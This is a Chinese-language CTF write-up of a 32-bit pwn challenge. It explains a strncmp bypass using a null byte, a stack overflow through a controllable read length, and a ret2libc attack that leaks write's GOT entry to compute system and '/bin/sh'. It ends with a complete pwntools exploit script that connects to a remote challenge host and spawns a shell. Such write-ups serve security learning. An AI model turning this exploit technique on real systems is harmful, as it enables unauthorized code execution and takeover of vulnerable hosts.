ScreenShot_2026-03-27_140401_932.png
先看保护
ScreenShot_2026-03-26_103922_816.png
32位小端序,放ida,看主要代码
ScreenShot_2026-03-26_105022_013.png
ScreenShot_2026-03-26_105040_723.png
ScreenShot_2026-03-26_105116_188.png

思路应该是读懂代码,知道程序本来是怎么走的,才能控制输入流
我们运行程序的时候随便输入几个字符就退出程序了,对应804871F函数的判断:strncmp(buf, &s, v1)
buf:第一个要比较的字符串指针;
&s:第二个要比较的字符串指针;
v1:最多比较的字符数
buf和&s相等返回0,不等返回1
所以当 buf 和 &s 的内容不相等时,条件为真,执行 exit(0) 直接退出程序。
现在就要看看怎么让这两个相等,不然程序就会终止在这里。

**这里我们可以利用buf的输入来绕过,只要第一个字符输入\0,使得v1在计算buf长度的时候结果为0,最终strncmp函数比较的字符数量为0,所以会返回0!**

绕过之后我们就可以继续读程序:
首先会打印:“Correct\n”,接着返回v5,v5是esp+33h的位置,而咱们的输入:buf[0]是在 esp-2c的位置,所以v5刚好就是buf[7],所以我们就可以控制这个函数的返回值。

到主函数之后v5的值赋给了v2,v2的值传给了第二个函数80487D0

接下来看看另外一个函数:
buf的栈空间大小为 11h + E7h = F8
就一个判断语句 :
a1 = 127就进入输入长度为0xc8的read函数,因为0xC8 < 0xF8, 所以不能造成溢出
a1 != 127就进入长度为a1的read函数,a1是我们第一次输入的值,所以是可控的,可以让a1等于\xff

所以只需要a1!=127,很简单,就是第一次输入的时候别在buf[7]处输入127就行了

有溢出存在,那就构造rop链,然而目前没有system和binsh的地址,所以要泄露基址来找,这题提供了libc.so文件,所以相当于Libc对象已经帮我们找好,不用libcsearcher库去匹配对应的libc版本了

所以接下来的步骤是:

泄露函数真正运行地址,这题我们选择泄露write函数,构造pop链:垃圾字符填满栈和ebp + write的plt地址 + 返回地址(main_addr) + write的got地址
这里的返回地址的位置是32位规定要有的,这里返回main函数,可以在不中断程序的情况下进行下一轮输入

得到wirte的真实运行地址之后直接算基址: base = write_addr - libc.dump("write")

有了基址就可以算出binsh和system的地址,最后再构造一个pop链:垃圾字符填满栈和ebp + system_addr + 返回地址(应该不用main都可以) + binsh_addr

exp:

from pwn import *
from LibcSearcher import *

p = remote('node5.buuoj.cn', 26385)
payload_1 = b'\0' + b'a' * 6 + b'\xff'

p.sendline(payload_1)

p.recvuntil(b'Correct\n')

offset = 0xEB

main_addr = 0x8048825

write = 0x8048578

write_got = 0x8049FEC

payload_2 = b'A' * offset + p32(write) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
payload_2 = payload_2.ljust(255, b'\x00')

p.send(payload_2)

write_addr = u32(p.recv(4)[:4])


#libc = LibcSearcher('write', write_addr)
#base_libc = write_addr - libc.dump('write')
#system = base_libc + libc.dump("system")
#binsh = base_libc + libc.dump("str_bin_sh")
libc = ELF('./libc-2.23.so')
base_libc = write_addr - libc.sym['write']
system = base_libc + libc.sym['system']
binsh = base_libc + next(libc.search(b'/bin/sh'))

p.sendline(payload_1)
p.recvuntil(b'Correct\n')

payload = b'A' * offset + p32(system) + p32(main_addr) + p32(binsh)
payload = payload.ljust(255, b'\x00')

p.send(payload)

p.interactive()